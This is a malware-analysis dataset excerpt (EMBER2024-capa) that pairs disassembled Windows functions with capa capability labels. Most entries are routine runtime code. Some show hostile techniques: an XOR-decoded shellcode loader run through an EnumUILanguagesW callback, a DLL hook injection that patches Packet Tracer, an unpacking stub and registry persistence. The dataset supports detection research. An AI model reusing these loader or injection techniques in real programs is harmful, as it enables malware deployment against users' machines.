joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140214a5c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140214a72
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140214a74
xor eax, eax
test eax, eax
je 0x140214a84
mov ecx, eax
call fcn.1401f6920
or eax, 0xffffffff
jmp 0x140214a86
xor eax, eax
add rsp, 0x28
ret

Function at 0x14002eb60
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14002eb6d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14002eb7d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14002eb65
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14002eb95
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14002eb82
sub eax, 3
jb 0x14002ebaf
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14002ebe6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14002ebd6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14002ebd4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14002ebc3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14002eb22
jmp 0x14002eb6d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1b400
mov dl, 9
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14002ec32
cmp rsi, rcx
jae 0x14002ec3a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14002ec19
cmp al, 0x8f
ja 0x14002ec19
cmp byte [rsi - 2], 0xf
je 0x14002ec1f
sub al, 0xe8
cmp al, 1
ja 0x14002ec03
cmp rsi, rcx
jae 0x14002ec3a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14002ec09
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14002ec3a
lodsb al, byte [rsi]
jmp 0x14002ec19
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x2c000]
mov eax, dword [rdi]
or eax, eax
je 0x14002eca3
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x32494]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14002ec47
jns 0x14002ec7c
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14002ec86
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14002ec9d
mov qword [rbx], rax
add rbx, 8
jmp 0x14002ec67
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x18f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14002ecfb
sub rsp, 0xffffffffffffff80
jmp 0x14001bce0
Function at 0x140011203
Capabilities:
Terminate process

Disassembly:
jmp 0x140014cc0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011285
Capabilities:
Execute command
Terminate process

Disassembly:
jmp 0x140013390
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x158]
mov rax, qword [0x14001f008]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x1400250a8]
call fcn.140011389
lea rdx, [0x140013850]
mov ecx, 2
call qword [sym.imp.ucrtbased.dll_signal]
mov qword [rbp + 0x28], 0
lea rcx, [rbp + 0x28]
call sub.libusb_1.0.dll_libusb_init
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x140013446
mov ecx, dword [rbp + 4]
call sub.libusb_1.0.dll_libusb_error_name
mov qword [rbp + 0xf8], rax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, qword [rbp + 0xf8]
mov r8, rcx
lea rdx, str.Error_initializing_libusb:__s_n
mov rcx, rax
call fcn.140011348
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
mov r8w, 0x120
mov dx, 0x33aa
xor ecx, ecx
call sub.libusb_1.0.dll_libusb_open_device_with_vid_pid
mov qword [0x14001f178], rax
cmp qword [0x14001f178], 0
jne 0x140013483
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.Error_finding_USB_device_n
mov rcx, rax
call fcn.140011348
jmp 0x140013501
xor edx, edx
mov rcx, qword [0x14001f178]
call sub.libusb_1.0.dll_libusb_claim_interface
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jge 0x1400134cf
mov ecx, dword [rbp + 4]
call sub.libusb_1.0.dll_libusb_error_name
mov qword [rbp + 0xf8], rax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, qword [rbp + 0xf8]
mov r8, rcx
lea rdx, str.Error_claiming_interface:__s_n
mov rcx, rax
call fcn.140011348
jmp 0x140013501
mov cl, 0x82
call fcn.140012b40
cmp dword [0x14001f170], 0
jne 0x1400134f3
xor ecx, ecx
call sub.libusb_1.0.dll_libusb_handle_events
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400134f1
jmp 0x1400134f3
jmp 0x1400134d6
xor edx, edx
mov rcx, qword [0x14001f178]
call sub.libusb_1.0.dll_libusb_release_interface
cmp qword [0x14001f178], 0
je 0x140013517
mov rcx, qword [0x14001f178]
call sub.libusb_1.0.dll_libusb_close
xor ecx, ecx
call sub.libusb_1.0.dll_libusb_exit
lea rcx, str.pause
call qword [sym.imp.ucrtbased.dll_system]
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001be40]
call fcn.140011320
mov rax, rdi
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret
Function at 0x14001128f
Capabilities:
Parse pe header

Disassembly:
jmp 0x140016010
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140016030
xor al, al
jmp 0x1400160b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140016043
xor al, al
jmp 0x1400160b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001606d
xor al, al
jmp 0x1400160b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140016081
xor al, al
jmp 0x1400160b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140016093
xor al, al
jmp 0x1400160b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400160af
xor al, al
jmp 0x1400160b1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001070
Capabilities:
Execute command
Terminate process

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, str.___Packet_tracer_no_password__Tested_on_8.2.1__n_n
call fcn.140001010
lea rdx, str.PacketTracer
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1400010c8
lea rcx, str.____Failed_to_find_PacketTracer__Run_this_tool_on_the_main_menu_of_packet_tracer__n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x30], rdi
mov rcx, rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x20]
mov edi, eax
test r8d, r8d
je 0x1400011eb
test eax, eax
je 0x1400011eb
xor edx, edx
mov qword [rsp + 0x40], rbx
lea rcx, str.PacketTracerDll.dll
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rbx, rax
test rax, rax
jne 0x14000113e
lea rcx, str.____Failed_to_get_dll__Did_you_forgot_to_put_it_in_the_same_folder_as_the_executable_under_the_name_PacketTracerDll.dll___n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea ecx, [rbx - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.WindowHook
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001178
lea rcx, str.____Dll_is_missing_the_WindowHook_export_n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, edi
mov rbx, rax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
lea rcx, str.___Wait_for_a_BEEP_then_press_a_key_here_n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
lea rcx, str.___It_should_be_patched__n
call fcn.140001010
mov rbx, qword [rsp + 0x40]
xor eax, eax
mov rdi, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001230
add rsp, 0x38
ret
mov edx, edi
lea rcx, str.____Failed_to_get_tid__d__or_pid__d__n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x140001b04
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b4e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b4e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b4e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b4e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b4e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b50
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x750
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x740], rax
lea rdx, [rsp + 0x3c0]
mov ecx, 6
lea rax, [0x140002250]
nop dword [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x1400010b0
movups xmm0, xmmword [rax]
mov rcx, qword [rax + 0x70]
mov rbx, 0xffffffffffffffff
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
movups xmm0, xmmword [str.xiaodisec_SESE_666]
mov dword [rdx + 0x78], ecx
movzx ecx, word [rax + 0x7c]
mov eax, dword [0x1400025e0]
mov dword [rsp + 0x38], eax
lea rax, [rsp + 0x28]
mov word [rdx + 0x7c], cx
movups xmmword [rsp + 0x28], xmm0
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001171
xor edi, edi
xor esi, esi
nop
mov eax, edi
cdq
idiv ebx
movsxd rax, edx
movzx ecx, byte [rsp + rax + 0x28]
xor cl, byte [rsp + rsi + 0x3c0]
movzx edx, cl
lea rcx, str.x_x
mov byte [rsp + rsi + 0x40], dl
call fcn.140001010
inc edi
lea rsi, [rsi + 1]
cmp edi, 0x37e
jb 0x140001180
lea r9, [rsp + 0x20]
mov dword [rsp + 0x20], 0
mov edx, 0x37e
lea rcx, [rsp + 0x40]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
xor eax, eax
mov rcx, qword [rsp + 0x740]
xor rcx, rsp
call fcn.140001220
lea r11, [rsp + 0x750]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140047ba0]
mov dword [rax], 1
mov rax, qword [0x140047bb0]
mov dword [rax], 1
mov rax, qword [0x140047bc0]
mov dword [rax], 1
mov rax, qword [0x140047b50]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400260e0
Capabilities:
Query environment variable

Disassembly:
push rsi
mov eax, 0x10078
push rbx
call fcn.14002cc10
sub rsp, rax
xor eax, eax
xor edx, edx
lea rbx, [rsp + 0x20]
lea rsi, [rsp + 0x70]
mov word [rsp + 0x70], ax
mov rcx, rbx
mov word [rsp + 0x20], dx
call fcn.140026020
mov rdx, rsi
mov r8d, 0x10000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x140026136
mov rcx, rsi
call sub.msvcrt.dll__wcsdup
add rsp, 0x10078
pop rbx
pop rsi
ret
Function at 0x14002b8f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14003cfd0
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14003cfd0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x14002c5c2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1400507e8]
test eax, eax
je 0x14002c65a
lea rax, [0x1400507c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1400507f0]
mov qword [rbp - 8], rax
jmp 0x14002c63e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14002c632
cmp qword [rbp - 0x10], 0
je 0x14002c632
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14002c5f8
lea rax, [0x1400507c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14002c65b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14002c760
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14002c788
mov eax, 0
jmp 0x14002c7d6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14002c7b1
mov eax, 0
jmp 0x14002c7d6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14002c7d1
mov eax, 0
jmp 0x14002c7d6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14002c7dc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14002c85a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14002c851
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14002c851
mov rax, qword [rbp - 8]
jmp 0x14002c86f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14002c824
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140026230
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [0x1400c3030]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor esi, esi
mov r14, rdx
cmp qword [rcx + 0x18], 8
mov rbx, rcx
mov qword [rsp + 0x30], rsi
jb 0x14002626b
mov rdx, qword [rcx]
jmp 0x14002626e
mov rdx, rbx
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
xor eax, eax
lea rdi, [rsp + 0x40]
mov ecx, 0x208
lea rdx, [rsp + 0x40]
rep stosb byte [rdi], al
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], si
lea rax, [rax + 1]
jne 0x1400262b0
mov rcx, qword [rsp + 0x30]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [0x1400a3b40]
lea rax, [rsp + 0x40]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x28], 4
lea rdx, [0x1400a3b68]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x38], 7
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8, qword [rbx + 0x18]
cmp r8, 8
jb 0x140026340
mov rdx, qword [rbx]
inc r8
call fcn.14002bfa0
mov qword [rbx + 0x18], 7
cmp qword [rbx + 0x18], 8
mov qword [rbx + 0x10], rsi
jb 0x140026356
mov rbx, qword [rbx]
mov word [rbx], si
mov r8, qword [r14 + 0x18]
cmp r8, 8
jb 0x14002636e
mov rdx, qword [r14]
inc r8
call fcn.14002bfa0
mov qword [r14 + 0x18], 7
cmp qword [r14 + 0x18], 8
mov qword [r14 + 0x10], rsi
jb 0x140026389
mov rax, qword [r14]
mov word [rax], si
jmp 0x14002638d
mov word [r14], si
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400602a0
mov rbx, qword [rsp + 0x290]
add rsp, 0x260
pop r14
pop rdi
pop rsi
ret

Function at 0x1400270e0
Capabilities:
Modify service

Disassembly:
push rbx
sub rsp, 0xe0
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov rax, qword [0x1400c3030]
xor rax, rsp
mov qword [rsp + 0xd0], rax
xor ebx, ebx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
or r9d, 0xffffffff
lea r8d, [rbx + 3]
or edx, r9d
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
jne 0x1400271d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x60], eax
lea rax, vtable.LogItem.0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x90], 7
mov qword [rsp + 0x88], rbx
mov word [rsp + 0x78], bx
mov qword [rsp + 0xb0], 7
mov qword [rsp + 0xa8], rbx
mov word [rsp + 0x98], bx
mov dword [rsp + 0xb8], 1
mov dword [rsp + 0xbc], 3
lea rdx, str.ChangeServiceConfig_failed:_error
lea rcx, [rsp + 0x70]
call fcn.1400257b0
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140025570
nop
lea rcx, [rsp + 0x70]
call fcn.140025350
xor al, al
jmp 0x1400271d2
mov al, 1
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.1400602a0
add rsp, 0xe0
pop rbx
ret
Function at 0x140035ee0
Capabilities:
Get socket status

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x218]
sub rsp, 0x300
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x1400c3030]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
mov rbx, rcx
lea r14, vtable.LogItem.0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x60], 7
xor esi, esi
mov qword [rsp + 0x58], rsi
mov word [rsp + 0x48], si
mov qword [rbp - 0x80], 7
mov qword [rsp + 0x78], rsi
mov word [rsp + 0x68], si
mov dword [rbp - 0x78], 1
mov dword [rbp - 0x74], 1
lea rdx, [0x1400a5d24]
lea rcx, [rsp + 0x40]
call fcn.1400257b0
mov dword [rax + 0x48], esi
mov rdx, rbx
mov rcx, rax
call fcn.140030060
mov dword [rax + 0x48], 1
lea rdx, [0x1400a5d28]
mov rcx, rax
call fcn.1400257b0
mov rcx, rax
lea rdx, str.AcceptClientSocket_called...
call fcn.1400257b0
nop
lea rcx, [rsp + 0x40]
call fcn.140025350
cmp qword [rbx + 0x200], 0xffffffffffffffff
jne 0x1400360ec
mov rax, qword [rbx + 0x1f8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x20], 1
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jne 0x140035faa
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbx + 0x1f8]
call qword [sym.imp.WS2_32.dll_accept]
mov qword [rbx + 0x200], rax
cmp rax, 0xffffffffffffffff
jne 0x140035faa
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x60], 7
mov qword [rsp + 0x58], rsi
mov word [rsp + 0x48], si
mov qword [rbp - 0x80], 7
mov qword [rsp + 0x78], rsi
mov word [rsp + 0x68], si
mov dword [rbp - 0x78], 1
mov dword [rbp - 0x74], 1
lea rdx, [0x1400a5d24]
lea rcx, [rsp + 0x40]
call fcn.1400257b0
mov dword [rax + 0x48], esi
mov rdx, rbx
mov rcx, rax
call fcn.140030060
mov dword [rax + 0x48], 1
lea rdx, [0x1400a5d28]
mov rcx, rax
call fcn.1400257b0
mov rcx, rax
lea rdx, str.Socket_server_error_on_accept_operation_occured.
call fcn.1400257b0
nop
lea rcx, [rsp + 0x40]
call fcn.140025350
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x30], rsi
mov byte [rbp - 0x40], 0
mov r8d, 0x32
lea rdx, str.SocketHeciServer::SocketServer::AcceptClientSocket
lea rcx, [rbp - 0x40]
call fcn.14002b9d0
nop
mov r8d, edi
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.140031890
lea rdx, [0x1400bef38]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.1400602a0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret